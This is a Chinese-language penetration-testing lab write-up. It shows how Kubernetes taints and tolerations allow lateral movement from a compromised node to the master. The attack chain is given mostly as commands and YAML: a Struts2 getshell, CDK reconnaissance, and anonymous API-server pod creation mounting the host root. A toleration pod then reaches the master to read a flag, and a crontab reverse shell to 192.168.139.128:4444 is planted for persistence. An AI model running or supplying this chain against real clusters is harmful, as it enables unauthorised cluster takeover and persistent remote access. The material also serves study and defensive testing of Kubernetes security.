Taint污点和容忍度Toleration

概念:污点(Taint)是一种节点属性,用于控制 Pod 能否被调度到该节点上,容忍度(Toleration)允许 Pod 调度到带污点节点。

为了方便理解,可以想成先对一个节点赋予污点属性,接着容忍度就可以允许Pod来这个带污点的节点

如果在编写关于容器的yaml配置文件,不指定他在哪一个node运行,那么就会根据算法调度找一个最合适的node。Taint 是节点的一种属性和调度限制机制:它主要用于控制哪些 Pod 可以或不可以被调度到该节点上,是基于节点的一种主动拒绝机制。

# 设置污点
kubectl taint nodes node1 xtz=value1:NoSchedule

# 去除污点
kubectl taint nodes node1 xtz:NoSchedule-

#节点说明中,查找 Taints 字段
kubectl describe node node-name

那么Taint这种机制会有什么影响呢?

解:在实战中,如果拿到了node1节点权限,正好它的master开启了Taint,那么就可以创建一个在master上的Pod横向移动到master去

内容详情可见https://cn-sec.com/archives/1336486.html

下面将利用到Taint污点和容忍度Toleration实战测试

k8s实战

环境是一个struts2镜像 第一条命令:创建structs2镜像;二:启动在8080端口;三:查看启动结果

130 131 132三个ip都可以访问到这个页面

利用脚本一键getshell

进入靶机后首先判断环境,是正常服务器1,还是docker环境下2,或者k8s下的docker3。敲入下面两条命令,什么都没有为1,有第一个没第二个为2,都有3。

现在知道所处环境后,就要尝试从容器中逃逸出来。因为之前写过有关docker方面的逃逸手法,结合我们搭建struct2环境的时候可以判断出,前三个没有问题,只能从第四个下手。一个一个筛选有很麻烦所以借助一个名为cdk的项目信息收集-利用

将cdk想办法上传-执行命令-提取信息

./cdk evaluate#信息收集命令

发现了存在API Server漏洞

发现k8s内部网段的ip

因为收集到了信息,可以通过apiserver未授权漏洞来逃逸,所以放弃docker逃逸

使用cdk自带的功能,向node提交pod

./cdk_linux_amd64 kcurl anonymous post
'https://10.96.0.1:443/api/v1/namespaces/default/pods/'
'{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\",\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory","name":"host"}]}}'

探针是否写入成功,用“”标注的部分是pod的id

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods |grep “创建的pod名字,以上图yaml为例是test02”
#或者上传kubectl使用
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
#curl命令因为是在容器内部使用,所以ip为10开头的k8s内部网段,kubectl命令是在自己主机上访问虚拟机,所以为虚拟机ip

上传kubectl启动容器,但是因为这并不是交互式界面,所以直接在webshell上无法输入账户密码,也无法启一个交互式(pty.spawn('/bin/bash')),docker里面用不了

kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash#windows上

所以要直接写死,ls /host是因为挂载的host目录(前面post的数据)

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"#webshell上

但是由于post的数据里面没有指定写到哪一个节点上,导致出现漏洞是master上的,获取的权限却是node1(ps:最开始struts2是放在node2上的)

反正至少是获得了一台服务器权限了嘛,接着就结合使用Taint进行操作

首先前面信息收集发现master节点使用到了Taint

编写此yaml文件挂载到/master目录下,加粗部分为上图Taint对应值

apiVersion: v1
kind: Pod
metadata:
  name: control-master-xiaodi
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    operator: Exists
    effect: NoSchedule
  containers:
  - name: control-master-xiaodi
    image: ubuntu:18.04
    command: ["/bin/sleep", "3650d"]#容器逃逸命令
    volumeMounts:
    - name: master
      mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory

根据yaml文件创建容器然后查看状态,进入容器

./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a create
-f./x.yaml

./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a get pods
-o wide

./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a exec control-master-xiaodi -- bash -c "ls /master"

获得/root目录下的flag

./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a exec control-master-xiaodi -- bash -c "cat /master/root/flag"

为了方便后续可以写计划任务反弹shell什么的

echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab

./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a exec control-master-xiaodi -- bash -c "echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab"

但最后收到shell的ip居然是131,也就是node1。多试几次就可以弹master过来。果然和k8s脱不了关系。。。

也可以偷它的config文件登录dashboard,一样的